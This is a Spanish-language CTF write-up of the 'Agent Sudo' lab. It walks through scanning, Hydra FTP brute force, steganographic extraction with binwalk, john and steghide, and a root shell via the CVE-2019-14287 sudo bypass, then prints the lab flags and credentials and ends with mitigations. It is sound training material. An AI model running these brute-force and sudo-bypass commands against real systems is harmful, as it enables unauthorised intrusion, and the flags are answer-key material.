Portfolio de Ciberseguridad

Writeups de máquinas vulnerables

Agent Sudo CTF

Fase 1 — Enumeración

Fase 1.1 — Nmap Port Scan

Comando ejecutado:

# [MÁQUINA ATACANTE]
nmap -sC -sV <TARGET_IP>

Puertos descubiertos:

Puerto Servicio Versión
21/tcp FTP vsftpd 3.0.3
22/tcp SSH OpenSSH 7.6p1 Ubuntu
80/tcp HTTP Apache 2.4.29 Ubuntu

Hallazgos:

  • FTP → vsftpd 3.0.3 activo
  • HTTP → Web con sistema de agentes identificados por letras del alfabeto
  • SSH → Posible acceso con credenciales obtenidas posteriormente

fase1.1_nmap_scan.png

Fase 1.2 — Enumeración Web (Página Principal)

Comando ejecutado:

# [MÁQUINA ATACANTE]
firefox http://<TARGET_IP>

Hallazgos:

  • Mensaje firmado por Agent R: “Use your own codename as user-agent to access this site”
  • Sistema de agentes identificados por letras del alfabeto confirmado

fase1.2_web_home.png

Fase 1.3 — User-Agent Enumeration (Agent C)

Comando ejecutado:

# [MÁQUINA ATACANTE]
curl -A 'C' -L http://<TARGET_IP>

Hallazgos:

  • Agent C = chris
  • Mensaje: “Change your god damn password, is weak” → contraseña débil confirmada → candidato a fuerza bruta FTP

fase1.3_useragent_C.png

Fase 1.4 — Fuerza Bruta FTP con Hydra

Comando ejecutado:

# [MÁQUINA ATACANTE]
hydra -l chris -P /usr/share/wordlists/metasploit/unix_passwords.txt ftp://<TARGET_IP> -t 4

Hallazgos:

  • Usuario: chris
  • Password: crystal

fase1.4_hydra_ftp.png

Fase 1.5 — Acceso FTP y Descarga de Archivos

Comandos ejecutados:

# [MÁQUINA ATACANTE]
ftp <TARGET_IP>
# Usuario: chris
# Password: crystal
ls
get cute-alien.jpg
get cutie.png
get To_agentJ.txt
exit
cat To_agentJ.txt

Hallazgos:

  • To_agentJ.txt → “Your login password is somehow stored in the fake picture” → contraseña oculta en imagen via steganografía
  • cutie.png y cute-alien.jpg → candidatas a análisis esteganográfico

fase1.5_ftp_chris.png

Fase 2 — Extracción Esteganográfica

Fase 2.1 — Extraer ZIP oculto de cutie.png con binwalk

Comando ejecutado:

# [MÁQUINA ATACANTE]
binwalk -e cutie.png
ls _cutie.png.extracted/

Hallazgos:

  • ZIP encriptado: 8702.zip → contiene To_agentR.txt
  • Necesita contraseña → se procede con zip2john

fase2.1_binwalk.png

Fase 2.2 — Crackear ZIP con zip2john + john

Comandos ejecutados:

# [MÁQUINA ATACANTE]
cd _cutie.png.extracted/
zip2john 8702.zip > zip_hash.txt
john zip_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Hallazgos:

  • Password ZIP: alien

fase2.2_zip2john.png

Fase 2.3 — Descomprimir ZIP y leer To_agentR.txt

Comandos ejecutados:

# [MÁQUINA ATACANTE]
unzip 8702.zip
# Password: alien
cat To_agentR.txt

Hallazgos:

  • Mensaje de Agent C a Agent J: “Your login password is somehow stored in the fake picture”
  • Passphrase para steghide: Area51

fase2.3_to_agentR.png

Fase 2.4 — Extraer credenciales de cute-alien.jpg con steghide

Comandos ejecutados:

# [MÁQUINA ATACANTE]
cd ~
steghide extract -sf cute-alien.jpg -p Area51
cat message.txt

Hallazgos:

  • Usuario: james
  • Password: hackerrules!

fase2.4_steghide_alien.png

Fase 3 — Foothold

Fase 3.1 — SSH como james + User Flag

Comandos ejecutados:

# [MÁQUINA ATACANTE]
ssh james@<TARGET_IP>
# Password: hackerrules!
whoami
cat user_flag.txt

User Flag:

b03d975e8c92a7c04146cfa7a5a313c7

fase3.1_ssh_james_userflag.png

Fase 4 — Escalada de Privilegios

Fase 4.1 — Identificación del Vector PrivEsc (sudo -l)

Comando ejecutado:

# [MÁQUINA OBJETIVO - como james]
sudo -l

Hallazgo crítico:

Usuario Privilegio
james (ALL, !root) /bin/bash → bypass via CVE-2019-14287
  • !root impide ejecución directa como root
  • CVE-2019-14287 — sudo < 1.8.28 permite bypass con UID -1

fase3.2_sudo_l.png

Fase 4.2 — Exploit CVE-2019-14287 → Root Shell

Comandos ejecutados:

# [MÁQUINA OBJETIVO - como james]
sudo -u#-1 /bin/bash
whoami

Hallazgos:

  • Shell obtenida como root mediante bypass de sudo con UID -1

fase3.3_root_flag.png

Fase 4.3 — Root Flag

Comandos ejecutados:

# [MÁQUINA OBJETIVO - como ROOT]
cat /root/root.txt

Root Flag:

b53a02f55b57d4439e3341834d70c062

fase3.3_root_flag.png

Mitigación

Vulnerabilidad Recomendación
Contraseña débil FTP (chris:crystal) Implementar política de contraseñas fuertes y rotación periódica
Credenciales almacenadas en imágenes (steganografía) Nunca almacenar credenciales en archivos multimedia
ZIP con passphrase débil (alien) Usar cifrado robusto con contraseñas de alta entropía
CVE-2019-14287 — sudo < 1.8.28 Actualizar sudo a versión ≥ 1.8.28 inmediatamente
FTP sin cifrado Migrar a SFTP o FTPS
Gengar